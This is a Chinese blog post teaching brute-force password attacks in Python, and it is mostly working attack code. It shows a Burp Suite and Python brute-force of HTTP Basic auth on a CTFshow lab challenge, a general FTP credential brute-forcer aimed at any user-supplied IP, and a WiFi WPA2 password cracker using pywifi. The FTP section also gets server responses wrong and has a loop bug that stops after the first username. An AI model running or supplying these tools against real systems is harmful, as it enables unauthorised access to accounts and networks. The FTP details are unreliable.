基于python的暴力破解

暴力破解

前言

暴力破解是指采用反复试错的方法并希望最终猜对,以尝试破解密码或用户名或找到隐藏的网页,或者找到用于加密消息的密钥。这是一种较老的攻击方法,但仍然有效,并深受黑客追捧。

本文暴力破解主要分为三种案例。

1) 利用burpsuite工具实现暴力破解,基于tomcat服务的暴力破解

案例采用CTFshow靶机的web21案例。

启动靶机到登录页面:

 

打开burpsuite,先输入admin/123456 ,抓包,重发到测试器中。

 

根据结果测试发现,登录的用户名和密码,经过了base64编码,对密码都进行了变量。设备burpsuite暴力破解模块,采用top100的字典,作为密码字典,进行攻击测试,结果如下图所示。

 

复制结果,进行base64解码,获取密码,然后就可以登录成功了。

编码实现:

 

# -*- coding: utf-8 -*-
# @Author:ajun
# @Date: 2022-07-20 

import time
import requests
import base64

url = 'http://4b82f3a5-a110-42e2-bb4d-336072a47c6b.challenge.ctf.show/'

password = []

with open("1.txt", "r") as f:  
    while True:
        data = f.readline() 
        if data:
            password.append(data)
        else:
          break
        

for p in password:
    strs = 'admin:'+ p[:-1]
    header={
        'Authorization':'Basic {}'.format(base64.b64encode(strs.encode('utf-8')).decode('utf-8'))
    }
    rep =requests.get(url,headers=header)
    time.sleep(0.2)
    if rep.status_code ==200:
        print(rep.text)
        break

 

2) 利用python实现ftp服务器的暴力破解

FTP 是 File Transfer Protocol (文件传输协议)的简称,中文简称为“文传协议”, 用于在Internet 上控制文件的双向传输 。

 

ftp工作流程:

( 1 )客户端去连接目标 FTP 服务器的 21 号端口,建立命令通道 。 服务器会向客户端发送“220 Free Float Ftp Server ( Version 1.00 )”回应,括号内的信息会因为服务器不同而有不同的显示 。

( 2 )客户端向服务器发送“ USER 用户名 \r\n ”,服务器会返回“ 331 Please specify the password  \r\n ” 。

( 3 )客户端向服务器发送“ PASS 密码 \r\n ” , 如果密码认证成功服务器会返回“230User Logged in.  \r\n”,如果密码认证错误服务器会返回“ 200 Switching to Binary mode.\r\n ” 。

 

ftplib模块介绍:

( 1 ) ftp.connect(IP,port)#连接的 FTP Server 和端口 。

( 2 )ftp.login(user,password)#连接的用户名 ,密码。

( 3 )ftp.retrlines(command[, callback])#使用文本传输模式返回在服务器上执行命令的。

源代码介绍:

 

import ftplib
FTPServer =input("请输入连接的IP")
UserDic=input("请输入用户名的字典")
PasswordDic=input("请输入密码的字典")
def Login(FTPServer,userName,passwords):
    try:
        f = ftplib.FTP(FTPServer)
        f.connect(FTPServer, 21, timeout = 10)
        f.login(userName, passwords)
        f.quit()
        print("The userName is %s and password is %s "%(userName , passwords) )
    except ftplib.all_errors:
        pass
userNameFile=open(UserDic,"r")
passWordsFile = open(PasswordDic,"r")
for user in userNameFile.readlines():
    for passwd in passWordsFile.readlines():
        un = user.strip('\n')
        pw = passwd. strip("\n")
        Login(FTPServer, un, pw)

 3)利用python实现wifi暴力破解 

  代码仅供参考

import pywifi
from pywifi import const # 引入一个常量
import time

def wifiConnect(wifiname,wifipassword):
    wifi = pywifi.PyWiFi()
    ifaces = wifi.interfaces()[0]
    ifaces.disconnect()# 断开连接
    time.sleep(0.1)
    if ifaces.status() == const.IFACE_DISCONNECTED:
        profile = pywifi.Profile()# 创建WiFi连接文件
        profile.ssid = wifiname# WiFi的ssid,即wifi的名称
        profile.key = wifipassword# WiFi密码
        profile.akm.append(const.AKM_TYPE_WPA2PSK)# WiFi的加密类型,现在一般的wifi都是wpa2psk
        profile.auth = const.AUTH_ALG_OPEN # 开放网卡
        profile.cipher = const.CIPHER_TYPE_CCMP# 加密单元
        ifaces.remove_all_network_profiles()# 删除所有的WiFi文件
        tep_profile = ifaces.add_network_profile(profile)# 设定新的连接文件
        ifaces.connect(tep_profile) # 连接WiFi
        time.sleep(0.5)
        if ifaces.status() == const.IFACE_CONNECTED:
            return True
        else:
            return False
def main():
    print('开始破解:')
    file = open('pass.txt','r')#打开密码本
    wifi_name=input('请输入所要破解的wifi的名字(请务必注意大小写):')
    while True:
        wifipwd = file.readline()
        try:
            bool = wifiConnect(wifi_name,wifipwd)
            if bool:
                print('正确密码为:'+wifipwd)
                fo=open('%s.txt'%wifi_name,'w',encoding="utf-8")
                fo.write('该wifi的密码为:')
                fo.write(wifipwd)
                fo.close()
                break
            else:
               print('本次尝试的密码为:%s,状态:密码错误'%wifipwd)
        except:
            continue
    file.close()
if __name__=='__main__':
	main()

  本文仅仅通过提供几个关于python暴力破解的案例,希望对大家利用python实现暴力破解有所帮助。

相关测试案例:

基于python实现dvwa登录页面的暴力破解。

基于python实现ssh的暴力破解。

基于python实现zip压缩包的暴力破解。

 

posted on 2022-07-23 15:51  a阿军  阅读(1300)  评论(0编辑  收藏  举报

导航